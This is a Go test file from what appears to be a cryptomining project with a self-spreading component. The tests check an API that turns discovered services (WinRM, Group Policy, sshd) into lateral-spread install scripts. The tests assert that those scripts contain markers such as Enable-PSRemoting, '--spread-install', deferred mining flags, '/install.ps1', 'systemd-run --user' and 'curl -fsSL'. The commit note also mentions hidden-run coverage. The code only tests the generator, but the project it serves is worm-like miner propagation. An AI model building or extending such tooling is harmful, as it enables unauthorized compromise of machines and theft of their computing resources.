Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.
126 lines
3.4 KiB
Go
126 lines
3.4 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"io"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} {
|
|
t.Helper()
|
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method != http.MethodPost {
|
|
http.Error(w, "method", http.StatusMethodNotAllowed)
|
|
return
|
|
}
|
|
h.PostDeployPlan(w, r)
|
|
}))
|
|
t.Cleanup(srv.Close)
|
|
|
|
resp, err := http.Post(srv.URL, "application/json", strings.NewReader(body))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer resp.Body.Close()
|
|
raw, err := io.ReadAll(resp.Body)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if resp.StatusCode != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", resp.StatusCode, string(raw))
|
|
}
|
|
var out map[string]interface{}
|
|
if err := json.Unmarshal(raw, &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func TestPostDeployPlanHTTPWinRM(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeDeploySpreadTemplates(t, root)
|
|
h := testDeployPlanHandlerWithRoot(t, root)
|
|
|
|
out := postDeployPlan(t, h, `{
|
|
"services":[{"name":"WinRM","status":"running"}],
|
|
"platform":"windows","build_id":"b1","campaign":"winrm-lab"
|
|
}`)
|
|
if out["ok"] != true {
|
|
t.Fatalf("resp=%v", out)
|
|
}
|
|
if out["join_lane"] != "winrm" {
|
|
t.Fatalf("join_lane=%v", out["join_lane"])
|
|
}
|
|
plan, ok := out["plan"].(map[string]interface{})
|
|
if !ok || plan["join_lane"] != "winrm" {
|
|
t.Fatalf("plan=%v", out["plan"])
|
|
}
|
|
script, _ := plan["script"].(string)
|
|
for _, marker := range []string{"Enable-PSRemoting", "--spread-install", "--defer-mining"} {
|
|
if !strings.Contains(script, marker) {
|
|
t.Fatalf("script missing %q: %s", marker, script)
|
|
}
|
|
}
|
|
if sig, _ := out["signature"].(string); sig == "" {
|
|
t.Fatal("expected signature")
|
|
}
|
|
}
|
|
|
|
func TestPostDeployPlanHTTPGPO(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeDeploySpreadTemplates(t, root)
|
|
h := testDeployPlanHandlerWithRoot(t, root)
|
|
|
|
out := postDeployPlan(t, h, `{
|
|
"services":[{"name":"gpsvc","status":"running"}],
|
|
"platform":"windows","build_id":"b1","campaign":"gpo-wave"
|
|
}`)
|
|
if out["ok"] != true || out["join_lane"] != "gpo" {
|
|
t.Fatalf("resp=%v", out)
|
|
}
|
|
plan := out["plan"].(map[string]interface{})
|
|
script, _ := plan["script"].(string)
|
|
if !strings.Contains(script, "AETHER_DEFER_MINING") || !strings.Contains(script, "/install.ps1") {
|
|
t.Fatalf("script=%q", script)
|
|
}
|
|
}
|
|
|
|
func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeDeploySpreadTemplates(t, root)
|
|
h := testDeployPlanHandlerWithRoot(t, root)
|
|
|
|
out := postDeployPlan(t, h, `{
|
|
"services":[{"name":"sshd","status":"active"}],
|
|
"platform":"linux","build_id":"b1","campaign":"lotl-lab"
|
|
}`)
|
|
if out["ok"] != true || out["join_lane"] != "linux_lotl" {
|
|
t.Fatalf("resp=%v", out)
|
|
}
|
|
plan := out["plan"].(map[string]interface{})
|
|
script, _ := plan["script"].(string)
|
|
for _, marker := range []string{"systemd-run --user", "curl -fsSL"} {
|
|
if !strings.Contains(script, marker) {
|
|
t.Fatalf("script missing %q: %s", marker, script)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) {
|
|
h := testDeployPlanHandler(t)
|
|
srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan))
|
|
t.Cleanup(srv.Close)
|
|
|
|
resp, err := http.Post(srv.URL, "application/json", strings.NewReader(`{"platform":"windows"}`))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusBadRequest {
|
|
t.Fatalf("status=%d", resp.StatusCode)
|
|
}
|
|
}
|